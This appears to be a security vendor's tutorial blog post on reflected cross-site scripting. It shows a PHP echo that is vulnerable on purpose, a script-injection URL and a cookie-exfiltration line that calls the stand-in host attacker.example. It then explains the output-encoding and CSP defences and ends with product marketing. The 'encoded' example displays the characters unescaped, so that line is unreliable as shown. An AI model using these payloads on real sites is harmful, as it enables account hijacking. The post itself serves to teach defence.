Reflected XSS: How a URL Can Run Code in Someone Else's Browser
Cross-site scripting turns a trusted page into a delivery vehicle for attacker-controlled JavaScript. Here is how reflected XSS works, what it can steal, and how output encoding stops it.
<script>alert(document.domain)</script>On this page
Cross-site scripting (XSS) is what happens when an application lets untrusted input become part of the page's executable content. Instead of changing a database query like SQL injection, XSS changes the HTML and JavaScript the victim's browser runs. The browser trusts the page, so it trusts the injected script too.
This post focuses on reflected XSS — the variant where the malicious input is sent in a request and immediately echoed back in the response.
How it happens
Reflected XSS almost always starts with input that is written into the page without encoding. A search page that greets you with your query is a textbook example:
$term = $_GET['q']; echo "<p>You searched for: " . $term . "</p>";
For a normal search like firewalls, the output is harmless:
<p>You searched for: firewalls</p>
But the value of q is fully attacker-controlled, and it is being dropped straight into HTML.
A concrete attack
Instead of a search term, an attacker crafts a URL where q contains markup:
https://shop.example/search?q=<script>alert(document.domain)</script>
The server reflects it verbatim, so the response body becomes:
<p>You searched for: <script>alert(document.domain)</script></p>
The browser does not see text — it sees a real <script> tag and executes it. alert() is just the proof of concept. The real payload is quieter and aims at the victim's session:
fetch('https://attacker.example/c?' + document.cookie);
The attacker is not running code on the server. They are running code in the victim's browser, in the security context of a site the victim trusts.
What an attacker gains
Once arbitrary JavaScript runs on the page, it can do anything the user can:
- Steal session cookies that are not marked
HttpOnly, hijacking the account. - Read the DOM — tokens, profile data, anything rendered on the page.
- Forge requests as the victim, including state-changing actions like password or email changes.
- Rewrite the page to phish credentials inside a genuinely trusted origin.
Reflected XSS is typically delivered through a link in an email, chat message or another site. One click on a legitimate-looking URL is all it takes.
The fix: encode on output, validate on input
The core rule is context-aware output encoding. Encode data for the exact place it lands so the browser always reads it as text, not markup. The same search, encoded for HTML:
$term = $_GET['q']; echo "<p>You searched for: " . htmlspecialchars($term, ENT_QUOTES, 'UTF-8') . "</p>";
Now the payload renders as inert text — the < becomes < and the browser never sees a tag:
<p>You searched for: <script>alert(document.domain)</script></p>
Layer these defences on top:
- Use a templating engine that auto-escapes by default, and keep the encoding correct for HTML, attribute, JavaScript and URL contexts.
- Set a Content-Security-Policy that blocks inline scripts, so a single missed sink is far harder to exploit.
- Mark session cookies
HttpOnlyandSecureso script cannot read them.
How SelfSec finds it
SelfSec's crawler renders modern, JavaScript-heavy applications with a real browser engine, then probes reflected, stored and DOM-based sinks with context-aware payloads. Because it confirms execution rather than guessing from a string match, findings come with a reproduction request you can replay. As always, the scan runs entirely on your machine and your scan data stays local.
SelfSec is intended strictly for authorized security testing of systems you own or are explicitly permitted to assess.
Do both things about Cross-Site Scripting
SelfSec covers this class from both sides — the scanner confirms it in your own app, the firewall blocks it in front of your origin while the fix ships.